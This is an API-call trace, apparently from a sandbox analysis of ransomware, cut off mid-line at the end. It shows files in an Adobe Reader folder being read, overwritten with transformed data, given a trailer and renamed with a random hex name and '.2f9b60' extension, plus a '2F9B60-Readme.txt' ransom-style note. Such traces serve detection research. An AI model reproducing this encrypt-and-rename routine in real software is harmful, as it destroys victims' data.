RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x117255f2 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x64d15327 [0156.613] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x28d5cca1 [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x1d38b0ae [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x590766c5 [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x20f79c6c [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x4edff16a [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x2fbc1f9a [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x6411213 [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x14b53972 [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x1c633899 [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x69fc0788 [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x5a7f825d [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x61fa8f3d [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x2900a561 [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x34fe3ab6 [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x65ee3692 [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x3961fcff [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x771c35cd [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x7ea69887 [0156.614] RtlRandomEx (in: Seed=0x3370f6b0 | out: Seed=0x3370f6b0) returned 0x711b16d0 [0156.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8c0 [0156.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5e20 [0156.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8f0 [0156.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5e20) returned 1 [0156.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc890) returned 1 [0156.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18d70 [0156.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5e20 [0156.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0156.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a5ae50 [0156.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a5ea60 [0156.623] ReadFile (in: hFile=0x6b4, lpBuffer=0x42a5ae50, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3370f6b0, lpOverlapped=0x0 | out: lpBuffer=0x42a5ae50*, lpNumberOfBytesRead=0x3370f6b0*=0x2000, lpOverlapped=0x0) returned 1 [0159.742] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.742] WriteFile (in: hFile=0x6b4, lpBuffer=0x42a5ea60*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x3370f6b4, lpOverlapped=0x0 | out: lpBuffer=0x42a5ea60*, lpNumberOfBytesWritten=0x3370f6b4*=0x2000, lpOverlapped=0x0) returned 1 [0162.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260470 [0162.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604d0 [0162.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604d0) returned 1 [0162.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a5ea60) returned 1 [0162.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a5ae50) returned 1 [0162.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5e20) returned 1 [0162.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18d70) returned 1 [0162.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202604d0 [0162.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18d70 [0162.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5e20 [0162.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0162.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0162.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20261e80 [0162.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262120 [0162.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c20 [0162.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c20) returned 1 [0162.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5e20) returned 1 [0162.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18d70) returned 1 [0162.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x420552d0 [0162.767] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.767] WriteFile (in: hFile=0x6b4, lpBuffer=0x420552d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3370f7d0, lpOverlapped=0x0 | out: lpBuffer=0x420552d0*, lpNumberOfBytesWritten=0x3370f7d0*=0x108, lpOverlapped=0x0) returned 1 [0165.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19220 [0165.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10d0 [0165.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a10d0) returned 1 [0165.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0165.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10d0 [0165.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10a0 [0165.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a10a0) returned 1 [0165.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19220) returned 1 [0165.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9ff30 [0165.154] sprintf (in: _Dest=0x1cd9ff30, _Format="%c%c" | out: _Dest="9a") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff32, _Format="%c%c" | out: _Dest="45") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff34, _Format="%c%c" | out: _Dest="b8") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff36, _Format="%c%c" | out: _Dest="d0") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff38, _Format="%c%c" | out: _Dest="1c") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff3a, _Format="%c%c" | out: _Dest="f8") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff3c, _Format="%c%c" | out: _Dest="73") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff3e, _Format="%c%c" | out: _Dest="b5") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff40, _Format="%c%c" | out: _Dest="11") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff42, _Format="%c%c" | out: _Dest="e9") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff44, _Format="%c%c" | out: _Dest="8c") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff46, _Format="%c%c" | out: _Dest="c9") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff48, _Format="%c%c" | out: _Dest="42") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff4a, _Format="%c%c" | out: _Dest="67") returned 2 [0165.154] sprintf (in: _Dest=0x1cd9ff4c, _Format="%c%c" | out: _Dest="ef") returned 2 [0165.155] sprintf (in: _Dest=0x1cd9ff4e, _Format="%c%c" | out: _Dest="f1") returned 2 [0165.155] sprintf (in: _Dest=0x1cd9ff50, _Format="%c%c" | out: _Dest="07") returned 2 [0165.155] sprintf (in: _Dest=0x1cd9ff52, _Format="%c%c" | out: _Dest="bb") returned 2 [0165.155] sprintf (in: _Dest=0x1cd9ff54, _Format="%c%c" | out: _Dest="48") returned 2 [0165.155] sprintf (in: _Dest=0x1cd9ff56, _Format="%c%c" | out: _Dest="27") returned 2 [0165.155] sprintf (in: _Dest=0x1cd9ff58, _Format="%c%c" | out: _Dest="d0") returned 2 [0165.155] sprintf (in: _Dest=0x1cd9ff5a, _Format="%c%c" | out: _Dest="1f") returned 2 [0165.155] RtlInitAnsiString (in: DestinationString=0x3370f848, SourceString="9a45b8d01cf873b511e98cc94267eff107bb4827d01f" | out: DestinationString="9a45b8d01cf873b511e98cc94267eff107bb4827d01f") [0165.155] RtlAnsiStringToUnicodeString (in: DestinationString=0x3370f818, SourceString="9a45b8d01cf873b511e98cc94267eff107bb4827d01f", AllocateDestinationString=1 | out: DestinationString="9a45b8d01cf873b511e98cc94267eff107bb4827d01f") returned 0x0 [0165.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fb000 [0165.156] RtlFreeAnsiString (AnsiString="9") [0165.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ff30) returned 1 [0165.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a10d0) returned 1 [0165.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420552d0) returned 1 [0165.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0165.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262120) returned 1 [0165.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604d0) returned 1 [0165.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260470) returned 1 [0165.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc800) returned 1 [0165.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8c0) returned 1 [0165.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8f0) returned 1 [0165.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4230ebe0 [0165.159] wcscat (in: _Dest=0x4230ebe0, _Source="9a45b8d01cf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\9a45b8d01cf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\9a45b8d01cf" [0165.159] wcscat (in: _Dest=0x4230ebe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\9a45b8d01cf.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\9a45b8d01cf.2f9b60" [0165.159] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\9a45b8d01cf.2f9b60", NtPathName=0x3370f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\9a45b8d01cf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c2bd10 [0165.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2bd10) returned 1 [0165.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad8c0) returned 1 [0165.161] NtQueryInformationFile (in: FileHandle=0x6b4, IoStatusBlock=0x3370f858, FileInformation=0x3370f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3370f858, FileInformation=0x3370f868) returned 0x0 [0165.161] NtSetInformationFile (FileHandle=0x6b4, IoStatusBlock=0x3370f858, FileInformation=0x3370f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230ebe0) returned 1 [0165.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fb000) returned 1 [0165.164] FlushFileBuffers (hFile=0x6b4) returned 1 [0166.278] CloseHandle (hObject=0x6b4) returned 1 [0187.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1ce63510 [0187.865] wcscpy (in: _Dest=0x1ce63510, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0187.865] wcscat (in: _Dest=0x1ce63510, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt" [0187.865] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\2f9b60-readme.txt")) Thread: id = 2595 os_tid = 0x20f8 [0156.277] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hrv")) returned 0x20 [0156.277] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV", dwFileAttributes=0x20) returned 1 [0156.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe24 [0156.278] GetFileSizeEx (in: hFile=0xe24, lpFileSize=0x334ffb20 | out: lpFileSize=0x334ffb20*=7680) returned 1 [0156.278] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.278] ReadFile (in: hFile=0xe24, lpBuffer=0x334ffaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x334ffae8, lpOverlapped=0x0 | out: lpBuffer=0x334ffaa0*, lpNumberOfBytesRead=0x334ffae8*=0x4, lpOverlapped=0x0) returned 1 [0157.170] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0f50 [0157.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0fe0 [0157.171] NtQuerySystemTime (in: CurrentTime=0x334ff9e0 | out: CurrentTime=0x334ff9e0*=132462177623098000) returned 0x0 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x4ff82447 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0xb9e9f87 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x226dca41 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x751b77f3 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x7ad7fa18 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x23250321 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x148555c5 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x22cf51a1 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x84a028b [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x961b769 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x1948387d [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x6970405 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x2ed8c844 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x52d46b67 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x4a5d7a82 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x4a1f94a4 [0157.171] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x2ff3a4f8 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x29f5c7fa [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x49223729 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x33053858 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x423129c [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x583dce53 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x397fd4b4 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x3a910a [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x65c3ad69 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x49c78c31 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x200d1c57 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x45cc46f7 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x4fd93346 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x608d72ba [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x7837e8e0 [0157.172] RtlRandomEx (in: Seed=0x334ff9d0 | out: Seed=0x334ff9d0) returned 0x334b5863 [0157.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1010 [0157.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec67a0 [0157.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1040 [0157.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec67a0) returned 1 [0157.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0fe0) returned 1 [0157.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce193b0 [0157.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec67a0 [0157.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42af56b0 [0157.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42af92c0 [0157.187] ReadFile (in: hFile=0xe24, lpBuffer=0x42af56b0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x334ff9d0, lpOverlapped=0x0 | out: lpBuffer=0x42af56b0*, lpNumberOfBytesRead=0x334ff9d0*=0x1e00, lpOverlapped=0x0) returned 1 [0160.744] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.744] WriteFile (hFile=0xe24, lpBuffer=0x42af92c0, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x334ff9d4, lpOverlapped=0x0) [0192.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18960 [0192.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e2a0 [0192.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e2a0) returned 1 [0192.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42af92c0) returned 1 [0192.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42af56b0) returned 1 [0192.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec67a0) returned 1 [0192.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce193b0) returned 1 [0192.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1e2a0 [0192.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce193b0 [0192.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec67a0 [0192.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e270 [0192.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e270) returned 1 [0192.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1e270 [0192.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e1b0 [0192.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e240 [0192.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e240) returned 1 [0192.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec67a0) returned 1 [0192.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce193b0) returned 1 [0192.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431a8fa0 [0192.617] SetFilePointerEx (in: hFile=0xe24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.618] WriteFile (in: hFile=0xe24, lpBuffer=0x431a8fa0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x334ffaf0, lpOverlapped=0x0 | out: lpBuffer=0x431a8fa0*, lpNumberOfBytesWritten=0x334ffaf0*=0x108, lpOverlapped=0x0) returned 1 [0201.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0201.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac10d0 [0201.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac10d0) returned 1 [0201.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f8740 [0201.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac10d0 [0201.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac10a0 [0201.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac10a0) returned 1 [0201.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0201.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d530 [0201.413] sprintf (in: _Dest=0x1ce5d530, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d532, _Format="%c%c" | out: _Dest="69") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d534, _Format="%c%c" | out: _Dest="10") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d536, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d538, _Format="%c%c" | out: _Dest="58") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d53a, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d53c, _Format="%c%c" | out: _Dest="2c") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d53e, _Format="%c%c" | out: _Dest="0b") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d540, _Format="%c%c" | out: _Dest="c5") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d542, _Format="%c%c" | out: _Dest="e3") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d544, _Format="%c%c" | out: _Dest="fb") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d546, _Format="%c%c" | out: _Dest="c0") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d548, _Format="%c%c" | out: _Dest="22") returned 2 [0201.413] sprintf (in: _Dest=0x1ce5d54a, _Format="%c%c" | out: _Dest="c1") returned 2 [0201.414] sprintf (in: _Dest=0x1ce5d54c, _Format="%c%c" | out: _Dest="03") returned 2 [0201.414] sprintf (in: _Dest=0x1ce5d54e, _Format="%c%c" | out: _Dest="4e") returned 2 [0201.414] sprintf (in: _Dest=0x1ce5d550, _Format="%c%c" | out: _Dest="bc") returned 2 [0201.414] sprintf (in: _Dest=0x1ce5d552, _Format="%c%c" | out: _Dest="28") returned 2 [0201.414] sprintf (in: _Dest=0x1ce5d554, _Format="%c%c" | out: _Dest="f4") returned 2 [0201.414] sprintf (in: _Dest=0x1ce5d556, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.414] sprintf (in: _Dest=0x1ce5d558, _Format="%c%c" | out: _Dest="17") returned 2 [0201.414] sprintf (in: _Dest=0x1ce5d55a, 